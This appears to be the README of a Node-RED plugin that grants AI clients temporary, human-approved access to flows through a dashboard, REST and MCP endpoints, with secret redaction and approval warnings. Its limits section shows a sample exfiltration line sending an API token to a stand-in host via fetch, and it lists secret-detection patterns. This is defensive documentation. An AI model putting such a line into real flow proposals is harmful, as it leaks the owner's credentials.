Temporary, owner-approved Node-RED access for AI clients. Ships as a Node-RED 4.x+ plugin with:
- an admin dashboard at
/ai-access(browserGET /mcpredirects there) - a versioned REST API under
/mcp/api/v1 - an MCP JSON-RPC endpoint at
/mcp/rpc(Streamable HTTP) over the same services
Git mental model: a proposal is like a pull request. Human approve = merge;
reject = close; withdraw = the author closes their own PR. Revision changes
auto-rebase open proposals. A conflict blocks approval until resolved. Open
proposals expire after a configurable TTL (default 7 days). Every access link
can see all proposals (mine: true|false).
Derived from ziv-daniel/node-red-mcp.
Requirements: Node-RED 4.x or newer, Node.js 20.19+ (tested: Node-RED 4.1 on
Node 20/22, Node-RED 5.0 on Node 22/24), and adminAuth enabled
(recommended). Without adminAuth, AI features stay off unless you opt in (see
Configuration).
-
Install into your Node-RED user directory (or via the palette):
cd ~/.node-red npm install @com55/node-red-ai-access
-
Restart Node-RED.
-
Log in to the editor, then open
/ai-accesson the admin root (for examplehttp://localhost:1880/ai-access, or{httpAdminRoot}/ai-accesswhenhttpAdminRootis set), or click Open AI Access dashboard in the editor sidebar. Opening/mcpin a browser redirects to the dashboard (MCP clients keep using/mcp).
The /ai-access HTML shell is served without adminAuth so the page can read the
editor token from browser localStorage (Node-RED does not use cookies) and
call APIs with Authorization: Bearer. If no valid token is present, the page
shows a sign-in card. With credentials login, it posts to
<httpAdminRoot>/auth/token as client node-red-editor using the password
grant. The token is shared with the editor, stored under the editor's
localStorage key (auth-tokens at /, or e.g. auth-tokens-admin at
/admin). Other login strategies open the editor to sign in. All data and
actions stay behind permission checks.
The dashboard has tabs for Overview (status and diagnostics), Settings,
Access tokens, OAuth, Proposals and Audit log. You can create
access tokens, review proposals (with a readable node/property diff against the
live flow), approve or reject changes, and read a human-readable audit log.
Users with read (including guest, if configured) get a read-only view; only
users with * can create/revoke links and approve/reject proposals.
In settings.js:
module.exports = {
// adminAuth: { ... }, // required for AI features in normal setups
aiAccess: {
// Master switch (default: true). Also editable in the editor sidebar tab.
enabled: true,
// Local-only opt-in when adminAuth is disabled (default: false)
allowWithoutAdminAuth: false,
// Access-link default TTL in seconds (default: 14400 = 4h)
defaultLinkTtlSeconds: 14400,
// Max concurrent active access links (default: 10)
maxActiveLinks: 10,
// Deploy type used on approve (default: "nodes"; also "flows" | "full")
defaultDeploymentType: 'nodes',
approveQueueTimeoutMs: 60_000, // maximum time waiting to start approval
deployTimeoutMs: 60_000, // caller deadline; does not cancel deployment
deployHardCapMs: 300_000, // release the queue even if deployment never settles
// In-memory rate limits for /mcp/api and /mcp/a (per IP + per access token)
rateLimitWindowMs: 60000,
rateLimitMaxPerIp: 600,
rateLimitMaxPerToken: 300,
// Public base URL for absolute links (access-link url, reviewUrl,
// accessLinksUrl). Set this behind a TLS-terminating proxy (default: unset)
// publicBaseUrl: 'https://nodered.example.com',
// Browser origins allowed to call /mcp/a, /mcp/api, and /mcp/rpc
// cross-origin (default: none — no CORS headers are sent)
// corsAllowedOrigins: ['https://app.example.com'],
// Secret-like names redacted from AI responses (default list below;
// [] turns off name matching — token formats are always redacted)
// secretNamePatterns: ['PASSWORD', 'SECRET', 'TOKEN', 'API_KEY', 'KEY'],
// MCP OAuth (disabled by default; publicBaseUrl is the issuer)
// oauth: {
// enabled: true,
// accessTokenTtlSec: 3600,
// refreshIdleTtlSec: 2592000,
// dcrMaxClients: 5,
// },
},
};Access-link url, proposal reviewUrl, and accessLinksUrl (in
token_expired) are absolute URLs built by one shared helper:
- Effective
aiAccess.publicBaseUrl, when set, overrides the request origin. The sidebar/settings API accepts an HTTPS origin without a path, query, fragment, or credentials (HTTP localhost / loopback is allowed for development). An empty value uses the request origin. - Otherwise, when Express
trust proxyis enabled (for examplehttpServerOptions: { 'trust proxy': true }), the firstX-Forwarded-ProtoandX-Forwarded-Hostvalues are used. - Otherwise the request
Hostheader and the connection protocol are used;X-Forwarded-*headers are ignored so clients cannot spoof link origins.
Forwarded and Host values are validated: the scheme must be http or https
(else the connection scheme is used) and the host must be a DNS name, IPv4, or
bracketed IPv6 literal with an optional port. An invalid forwarded host falls
back to Host; an invalid Host yields relative paths. The MCP client snippets
in the GET-link guide use the same origin, and show a https://YOUR-NODE-RED
placeholder only when no origin can be determined.
Behind a TLS-terminating proxy (for example Cloudflare) with neither option set,
links therefore start with http://.
CORS only affects code running in a browser (a web page calling the plugin from another origin). Server-side AI fetchers and agents (for example Gemini, ChatGPT, or an MCP client running outside a browser) ignore CORS and are not affected by this setting.
By default the AI-facing endpoints (/mcp/a/*, /mcp/api/*, /mcp/rpc) send
no CORS headers, overriding Node-RED's built-in
Access-Control-Allow-Origin: * for those paths. To allow a browser app, list
its origin in aiAccess.corsAllowedOrigins via the AI Access sidebar or
settings API. Changes apply immediately. The API rejects any invalid origin in
the supplied list (including paths, credentials, queries, and fragments). For a
listed Origin the response echoes it in Access-Control-Allow-Origin with
Vary: Origin, and OPTIONS preflight returns 204 with allowed methods
(GET, POST, DELETE, OPTIONS) and headers (Authorization, Content-Type,
Accept, Mcp-Session-Id, Mcp-Protocol-Version, Last-Event-ID). Origins
match case-insensitively and the configured origin is echoed; malformed origins
are rejected. Exposed headers include Mcp-Session-Id, WWW-Authenticate,
Retry-After, and the RateLimit* headers. Other origins get no CORS headers.
Every AI-facing response (MCP tools, REST with an access link or OAuth token,
GET links, and proposal bodies/diffs shown to AI) has likely secrets replaced
with [REDACTED]. The dashboard (admin session) always shows real values.
- By name: env entries on tabs, groups, subflows, subflow instances, and
global-config, secret-named node settings (e.g.password), and name/value pairs inside node config (change rules, inject props, http request headers) whose name matches a pattern. Redacted env entries getredacted: true. - By content: all other string fields, including function
func/initialize/finalize, are scanned for AWS (AKIA…), GitHub (ghp_…,github_pat_…), Slack (xox…, webhook URLs), OpenAI (sk-…), Stripe, Google (AIza…), JWTs, PEM private keys,Bearer/Basicheaders,scheme://user:password@URLs, andname = "literal"/name: 'literal'assignments whose name matches a pattern. Only the literal is replaced. - Redacted nodes list the redacted field paths in
_aiRedactions. - Also caught: connection strings / DSNs (
Server=…;Password=…;), URL query params with a secret name (?key=abc123&x=1→ onlyabc123), unquotedpassword: x/token=xin non-code text fields, andBuffer.from("user:pw")/btoa('user:pw')basic-auth literals. Nodename/label/infoare content-scanned only (no key-name rule). Any single string field over 256 KB is sent to AI as[REDACTED](decided by length only, so reads and submits always agree). All patterns are length-bounded / linear (no ReDoS). - Unquoted values depend on name strength. Strong names
(
PASSWORD PASSWD PASSPHRASE SECRET CLIENT_SECRET TOKEN API_KEY APIKEY PRIVATE CREDENTIAL PWD PW): any value of 3+ chars exceptnone/null/${VAR}-style references. Weak names (KEY AUTH SESSION COOKIE CONN PASS …and custom patterns): the value must look random — a digit or symbol, 16+ chars, 3+ character classes, or Shannon entropy ≥ 3 — so prose likeSession: started/key: valuestays. - Proposals (strict restore): a
[REDACTED]placeholder is restored to the original secret on submit only when it stays exactly where it was shown: same node id and field, env and name/value entries (headers, change rules) matched by their exact name — never by array position — no more placeholders in the field than the original had, and the text around each placeholder on its line unchanged. Anything else (a new or duplicated placeholder, a renamed env var, a header renamed to take a secret value, an edited line) makes the submit fail withredacted_placeholder_mismatchand nothing is stored. - Approving: the proposal card lists every field whose secret was restored, and
shows a red warning (
secret_destination_changed) when a node holding a restored secret had itsurl/host/port/method/headers/type or similar destination changed, orsecret_node_code_changedwhen its code changed. Also flagged when secrets were restored:secret_wires_changed(its output wires changed),secret_scope_changed(tab/group env such as${API_HOST}, or a config node it uses, changed),outbound_node_changed(an http, mqtt, tcp, udp, email, websocket, function, exec or file node was added/changed), andsecret_tab_changed(any other node in the tab changed). - Always flagged (with or without restored secrets):
outbound_node_changedfor any added/changed http request/response, mqtt, tcp, udp, email, websocket, link out/call, function, exec or file node — or any node type with aurl/host/server/broker/endpointfield — andsecret_reference_addedwhen added/changed code or config reads a secret-named value (env.get("X"),$env('X'),${X},global.get,flow.get, typed inputs of typeenv/global/flow). - Node-RED credentials (and
credenv entries) are never part of flow output. - The audit log records
ai.redactedwith the count per response (never values).
Redaction is not exfiltration protection. It keeps secret values out of what the AI reads; it cannot stop an approved flow from sending data. Review every proposal — especially red security banners — before approving.
Limits — redaction is best-effort. Detection uses names and known token
formats; secrets with unusual names or formats can still reach AI. Strict
restore only stops the AI from copying a placeholder to a new place: an AI
proposal can still read an existing variable at runtime (e.g. add
fetch(evil, {body: env.get('API_TOKEN')}), or use token already defined in a
function) because flows run with the real values. Always review code and
destination changes in proposals before approving, especially on nodes flagged
above.
Default patterns (case-insensitive whole words; a trailing S is allowed, and
patterns of 6+ letters also match glued names like DBPASSWORD):
PASSWORD PASSWD PASS PWD PW PASSPHRASE SECRET CLIENT_SECRET TOKEN API_KEY APIKEY KEY PRIVATE CREDENTIAL AUTH AUTHORIZATION BEARER SESSION COOKIE CONNECTION_STRING CONN_STR CONN DSN.
KEY matches API_KEY / apiKey but not KEYBOARD or MONKEY; AUTH does
not match AUTHOR or OAUTH. Names ending in a descriptor word (TOKEN_URL,
AUTH_TYPE, SESSION_TIMEOUT, keyType) are not redacted. Edit the list on
the dashboard Settings tab (add, remove, reset to defaults) or lock it with
aiAccess.secretNamePatterns.
Effective values are resolved without restart in this order (highest wins):
settings.js— keys present in theaiAccessblock are locked- Disk —
<userDir>/.ai-access/config.json(dashboard Settings / OAuth tabs, editor sidebar toggles, orPUT /mcp/api/v1/settings) - Built-in defaults — as documented above
This is a breaking precedence change in 0.2.0: settings.js now wins over disk.
Legacy settings.json is read when config.json is absent; the next save
writes config.json. Locked fields show a lock indicator and disabled input.
PUT ignores locked keys while applying unlocked ones; GET and PUT return
per-field sources (settings.js, disk, or default) and the precedence
order.
The editor right-hand sidebar tab (AI Access) holds only: the Enable AI
Access features toggle (the allowWithoutAdminAuth local-only opt-in when
adminAuth is off), the Enable MCP OAuth toggle, an OAuth route-conflict
warning with links that reveal the conflicting node (only when conflicts exist),
and an Open AI Access dashboard button.
Everything else is on the dashboard. The Settings tab lets * admins change
default deploy type, access-token TTL, maximum active tokens, Public URL (with a
reachability Check), CORS origins, secret redaction patterns, and the three
rate limits, and shows Express's effective trust proxy setting. The OAuth
tab configures token lifetimes and the client limit, lists registered clients
with revoke buttons, and reports route collisions (linking http in nodes to
the editor) and the httpNodeRoot: false metadata fallback. read users see
the same values read-only; writes need *, exactly as before. Changes apply
immediately; changing limits starts fresh rate-limit buckets. Enabling OAuth
with no Public URL or an HTTP non-loopback URL shows a warning confirmation; it
does not block the change. Fields set in settings.js are locked.
OAuth is disabled by default. Set aiAccess.publicBaseUrl to the public HTTPS
origin before enabling it; localhost and loopback HTTP are supported for local
development. Node-RED serves authorization, token, dynamic client registration,
and revocation under /mcp/oauth/*. It publishes authorization server metadata
at /.well-known/oauth-authorization-server and protected resource metadata at
/.well-known/oauth-protected-resource/mcp and
/.well-known/oauth-protected-resource. The issuer is publicBaseUrl and the
resource indicator is {publicBaseUrl}/mcp. When httpNodeRoot is false,
metadata is available under the admin /mcp path instead; the dashboard OAuth
tab displays this fallback. Route collisions disable the affected OAuth
endpoints and appear in the sidebar and on the OAuth tab.
Clients use authorization code with PKCE S256 and can request read or
propose. Consent uses the Node-RED editor login. Access tokens last one hour
by default; refresh tokens expire after 30 days of inactivity and rotate on each
use. Reusing a rotated refresh token revokes its token family. Tokens are stored
as SHA-256 hashes in <userDir>/.ai-access/oauth.json. Access-link aia_
bearer tokens continue to work. See MCP client setup.
Add {publicBaseUrl}/mcp as the server URL in ChatGPT, Claude and other MCP
clients; /mcp and /mcp/rpc serve the same MCP endpoint (browsers opening
/mcp are redirected to /ai-access). At most oauth.dcrMaxClients
(default 5) approved clients are kept: lowering the limit removes none, but new
registrations are refused with 400 until clients are revoked.
When you are signed out and Node-RED uses credentials login, the consent page
shows its own sign-in form. It calls Node-RED's /auth/token endpoint and
stores the resulting editor token in localStorage under the editor's key, so
this also signs you in to the Node-RED editor in that browser.
Exposing Node-RED publicly: Node-RED's own
/auth/tokenlogin endpoint is not rate limited (neither by Node-RED nor by this plugin). Before exposing Node-RED to the internet for OAuth, put it behind a reverse proxy or other limiter that throttlesPOST {httpAdminRoot}/auth/token(and preferably the whole admin path), and use strong passwords.
Public URL Check uses POST /mcp/api/v1/settings/check-public-url and
requires * permission because it performs an outbound request. It validates
the form URL, fetches only {publicBaseUrl}{httpAdminRoot}/mcp/api/v1
(discovery), times out after 5 seconds, and never follows redirects. The result
reports the HTTP status or a connection/timeout error; it does not save the
form. Loopback checks use Node-RED's own listening port; behind a reverse proxy,
use the internal Node-RED port. Unix-socket listeners are not supported. HTTPS
checks using a self-signed certificate fail because TLS verification remains
enabled. Saving a Public URL with a private/internal IP literal is allowed, but
the settings response and sidebar show a warning.
Storage lives under <userDir>/.ai-access (config.json,
proposals/*.json, and append-only logs/audit.jsonl). Directories use mode
0700, files 0600. Proposal JSON is capped at 1_500_000 bytes; oversized
proposal JSON or audit lines return HTTP 413 with code: payload_too_large
(never silently truncated). Malformed JSON returns 400 JSON (REST
invalid_json, MCP JSON-RPC -32700) — never HTML stack traces (middleware is
attached to the editor-api app that owns body-parser, not only the nested plugin
httpAdmin). Unauthenticated /mcp/api/v1 admin calls return JSON
{ code: "auth_required" } rather than plain-text Unauthorized.
- Channel index — GET link / REST / MCP overview
- MCP client setup — Claude Desktop, Cursor, VS Code, CLI
- MCP tools reference — generated from live
tools/list - Error codes — code, status, hint, channels
- OpenAPI 3.1 — also
GET /mcp/api/v1/openapi.yaml(JSON:GET /mcp/api/v1/openapi.json)
Regenerate the MCP tools doc after tool changes: yarn generate:mcp-tools.
OpenAPI: GET /mcp/api/v1/openapi.yaml or
GET /mcp/api/v1/openapi.json (also in
docs/api/openapi.yaml).
| Path | Purpose |
|---|---|
GET /ai-access |
Admin dashboard (overview, settings, tokens, OAuth, …) |
GET /mcp (browser) |
302 redirect to /ai-access |
GET /mcp/a/<token> |
Self-contained GET link (markdown docs) |
GET /mcp/a/<token>/… |
Token-scoped GET status/flows/propose/drafts |
POST /mcp/rpc |
MCP Streamable HTTP (access-link Bearer; tools) |
POST /mcp |
Same MCP endpoint (OAuth resource URL for ChatGPT/Claude) |
GET /mcp/api/v1 |
Discovery index (no auth; endpoints + auth hint) |
GET /mcp/api/v1/openapi.yaml |
OpenAPI 3.1 specification (YAML) |
GET /mcp/api/v1/openapi.json |
OpenAPI 3.1 specification (JSON) |
GET /mcp/api/v1/status |
Plugin status JSON (admin or access link) |
GET /mcp/api/v1/settings |
Effective AI Access settings (admin read) |
PUT /mcp/api/v1/settings |
Update settings (*; persists to disk, hot) |
GET /mcp/api/v1/links |
List active access links (* only) |
POST /mcp/api/v1/links |
Create access link (* only; token once) |
DELETE /mcp/api/v1/links/:id |
Revoke access link (* only) |
GET /mcp/api/v1/flows |
List flows + rev (admin read or access link) |
GET /mcp/api/v1/flows/:id |
Get one flow + rev (admin read or access link) |
POST /mcp/api/v1/proposals |
Create proposal (access-link Bearer only) |
GET /mcp/api/v1/proposals |
List proposals (admin: all; link: own) |
GET /mcp/api/v1/proposals/:id |
Get proposal (admin: any; link: own) |
GET /mcp/api/v1/proposals/:id/diff |
Diff proposal vs current flow (admin read/own) |
POST /mcp/api/v1/proposals/:id/approve |
Approve + deploy (*; optional deploymentType) |
POST /mcp/api/v1/proposals/:id/reject |
Reject with reason (*; no flow mutate) |
GET /mcp/api/v1/logs |
Append-only audit log (admin read) |
AI clients can use the official MCP Streamable HTTP transport against
{httpAdminRoot}/mcp/rpc with the same access-link Bearer token as the REST
API. Tools mirror the AI-facing REST surface only:
get_status, list_flows, get_flow, submit_proposal (including
replace_flow with expectedRev; expected_rev accepted as alias; optional
title ≤80 chars), list_proposals (alias list_my_proposals),
get_proposal. Tool descriptions document purpose, inputs, returns, and when to
use them. Proposal create/list/get responses include title, displayName
(title · server-local datetime with explicit offset, e.g.
16 Oct 01:35 +00:00), reviewUrl (absolute URL using the request
Host/protocol — X-Forwarded-* only when Express trust proxy is set), and
reviewPath (relative /ai-access#proposal=<id>). createdAt remains
ISO-8601. The /ai-access dashboard renders times in the browser's local
timezone. AI clients should refer to proposals by displayName + reviewUrl,
not the raw id. For access-link callers, get_status reports permission: null
and caller.kind: "access-link" (expected — AI tokens are not admin sessions).
Approve, reject, and access-link management stay human-only on the /ai-access
admin page (and the corresponding REST routes). Rate limits, payload size
limits, and audit logging match REST. Missing tokens return 401
access_link_missing; known-expired tokens return 401 token_expired;
other invalid/revoked tokens return 401 access_link_invalid (all with
WWW-Authenticate) telling the AI to ask the user for a new access link. Every
error JSON includes a code. token_expired also includes expiredAt and
accessLinksUrl (the /ai-access dashboard's Access tokens tab). Access-link
/status includes expiresAt, minutesRemaining (rounded up), and
secondsRemaining. See docs/errors.md (generated from
src/plugin/error-registry.ts).
Access links are in memory (default TTL 4h, max 10). Caps: get_link ≤
24h, rest/mcp ≤ 30d. Creating a link returns the raw token plus a
self-contained url for get_link (/mcp/a/<token>). The token is shown only
once: GET /links never returns token or url, so to give access again
revoke the link and create a new one. After a restart every old token is
invalid.
Call list_flows or get_flow first and pass the returned rev as
expectedRev. Recent known stale revisions are accepted and auto-rebased;
unknown revisions return 409 version_mismatch. Human approval waits up to
60 seconds for deployment. A timeout returns 504 deploy_timeout, leaves
the proposal pending with a persisted deployPending reason shown in the API
and dashboard, and holds the approval queue until the runtime settles or the 5
minute hard cap is reached. Before the cap, a late success marks the proposal
approved with its resultRev; a late failure clears deployPending and keeps
it pending for retry. At the cap the queue and proposal lock are released,
deployPending.queueReleased becomes true, and the card asks reviewers to check
the live flow before approving again. Approvals remain blocked until settlement
or a matching confirm-live-checked action, unless explicitly overridden with an
audit entry. Late settlement clears the matching unknown-outcome record. A late
deploy that changes other tabs writes a warning and a late_deploy_overwrite
audit entry, even when only editor changes were overwritten. Closed proposals
are alerted only if their decision changed after the cap snapshot. A withdrawn
proposal keeps its decision and shows “Landed after withdraw” if its deploy
lands. Every subsequent approval re-reads live flows before rebasing and
deploying, recognizing already-applied results. Queued approvals time out after
60 seconds with 504 approve_queue_timeout without deploying. Queued
proposals can still be rejected or withdrawn; their approvals then return
proposal_not_pending when dequeued. These three deadlines are configurable in
settings.js under aiAccess (positive milliseconds; invalid values use the
defaults shown above). When choosing proposed during conflict resolution,
unchanged secret spans keep their live editor values. If spans cannot be aligned
safely, proposed values are retained with a secret_may_revert warning on the
dashboard card. Deliberately deleted secret spans do not raise this warning.
Deleting one of several identical secret lines while their live values changed
keeps the proposal in conflict; resolve that field against the live flow or
choose live. Changed env arrays with duplicate names show
duplicate_env_keys, since pairing by name is ambiguous when entries are
reordered.
Open proposals merge changes per node and tab field. Different fields on the
same node merge automatically; changes to the same field conflict even when both
values are identical. Position (x/y) edits never conflict; a proposed
position edit wins a tie. Env entries merge by unique name and then entry field;
credentials merge by key (including nested keys). Duplicate env names use an
atomic array comparison and retain the existing ambiguity warning. Deletion
versus modification, id collisions, dangling references, and unsafe redacted
placeholders still block approval.
Proposal responses and diffs expose baseRev (an alias of expectedRev).
baseRevChanged replaces baseRevStale: it only reports that the base revision
differs from live for an open proposal. It is informational, including after a
successful rebase. rebase.rev is the checked live revision and rebase.state
is clean (proposal applies unchanged), merged (live edits incorporated), or
conflict (approval blocked). A merged proposal still requires review of its
current mergedHash before approval.
MCP resolve_proposal_conflict and REST POST /proposals/:id/resolve accept
nodeId + choice: "live" | "proposed" for one current conflict. Choices
affect only overlapping fields; independent edits from both sides survive.
Existing secret preservation and ambiguity warnings also apply. Alternatively
send expectedRev + payload to replace the proposal body: node operations
apply to the flow snapshot at expectedRev, not to the stored proposal or
merged result, so include every intended edit. These modes cannot be mixed. Both
require the submitting token; tab conflicts use the flow id as nodeId.
If the submitting token is lost, a full (*) admin can withdraw an open
proposal through POST /mcp/api/v1/proposals/:id/withdraw using the dashboard's
authenticated admin session (optional JSON reason). Other access tokens,
including replacement tokens, cannot withdraw it. Recovery records
proposal.withdrawn with the admin identity, original owner id,
withdrawalAuthority: "admin-recovery", proposal id, and reason. Owner-token
withdrawal records withdrawalAuthority: "owner-token". Withdrawal never
deploys flows and cannot interrupt an in-flight approval.
Open proposals auto-rebase on editor changes. A conflict blocks approval until
resolved using REST POST /proposals/:id/resolve, admin
POST /proposals/:id/resolve-conflict, or MCP resolve_proposal_conflict. The
dashboard confirms conflict choices and shows the chosen side. Admins can undo
the latest choice with POST /proposals/:id/resolve-conflict and
{ "nodeId": "...", "choice": "undo" } until the next proposal edit or choice;
undo restores the proposal and rechecks current live flows without deploying.
Diffs include conflictValues (base/live/proposed per field, including flow
env; redacted for AI callers), rebase, liveChanges and (without conflicts)
vsCurrent, the merged deployment. Approval requires the reviewed mergedHash
when editor changes are merged. Proposals expire after proposalTtlDays
(integer 1–365, default 7), editable through the settings API. Approve may send
deploymentType: nodes (default), flows, or full. Approval rebases
against the current revision; conflicts leave the proposal open for resolution.
Deploy timeouts keep it pending; other deploy errors mark it failed.
Reject never mutates flows.
- RedAdapter — in-process flows API (
RED.runtime.flows, or the initialized@node-red/runtimesingleton when the plugin RED object has no.runtime) - HttpAdapter — localhost Admin API v2 fallback only when credentials are
available (or adminAuth is off). Never selected silently without credentials
when adminAuth is on; upstream 401/403 becomes
plugin_misconfigured updateFlow— requiresexpectedRev; default deployment typenodes
-
An owner with
*opens/ai-access→ Access tokens → create a GET link (default TTL 4 hours, max 24 hours). Copy the full URLhttp(s)://<host><httpAdminRoot>/mcp/a/<token>(or Copy link for AI). -
The AI opens that URL for markdown docs, then uses GET-only routes under the same path (
/status,/flows,/flows/<id>,/proposals,/proposewith preferredreplace_textfor small string edits, chunked/draft/…for large HTML/fields; URL soft-cap ~8KB; prefer ~4–5 KB raw chunks — base64url adds ~33%). Patch /mode=jsondrafts supportnodes:[{op:'add'|'remove'|'set',...}](or a fullreplace_flowdocument). Field drafts validate node/field atdraft/new. Unknown/mcp/a/*paths return JSONnot_foundwithout echoing the token.Responses on GET links default to HTML, because some AI web fetchers only read
text/html. The HTML is a minimal document (no scripts or external resources) holding the same markdown or pretty-printed JSON, fully escaped in one<pre>, with relative./…links clickable. Request the real type via Accept or?format=:Accept: text/markdownor?format=mdfor the guide,Accept: application/jsonor?format=jsonfor JSON. An explicitAccept: text/plainreturns the same raw text astext/plain. No Accept,*/*,text/html, or browser-style lists get HTML. Status codes and data are unchanged; every response carriesVary: Accept,Cache-Control: no-store,Referrer-Policy: no-referrer,X-Robots-Tag: noindex, nofollow, andX-Content-Type-Options: nosniff, and HTML adds a restrictiveContent-Security-Policy. REST and MCP endpoints are not affected. -
Changes become pending proposals; a human approves on
/ai-access. JSON responses useCache-Control: no-store.
-
Optional:
GET /mcp/api/v1(no auth) lists endpoints, auth scheme, OpenAPI, and MCP URLs. Spec:GET /mcp/api/v1/openapi.yaml. -
Send
Authorization: Bearer <token>to REST and/or MCP:- REST:
GET /mcp/api/v1/status,GET /mcp/api/v1/flows,GET /mcp/api/v1/flows/{id}?summary=1,GET /mcp/api/v1/nodes/{id},GET /mcp/api/v1/nodes/{id}/field/{name},GET /mcp/api/v1/search,POST /mcp/api/v1/proposals,GET /mcp/api/v1/proposals - MCP:
POST /mcp/rpctoolslist_flows,get_flow(optionalsummary),get_node,get_node_field,search_flows,submit_proposal,list_proposals/ aliaslist_my_proposals(same access-link auth and limits)
- REST:
-
The owner reviews the proposal on
/ai-accessand approves or rejects it. -
If the token is invalid, expired, revoked, or cleared by a restart, the API returns 401 telling the AI to ask the user for a new access link.
Example create body:
{
"type": "replace_flow",
"expectedRev": "abc123",
"title": "Rename inject to Hello",
"payload": {
"flowId": "tab-1",
"flow": {
"id": "tab-1",
"type": "tab",
"label": "Main",
"nodes": []
}
}
}yarn install
yarn build
yarn test
yarn qualityMIT — see LICENSE.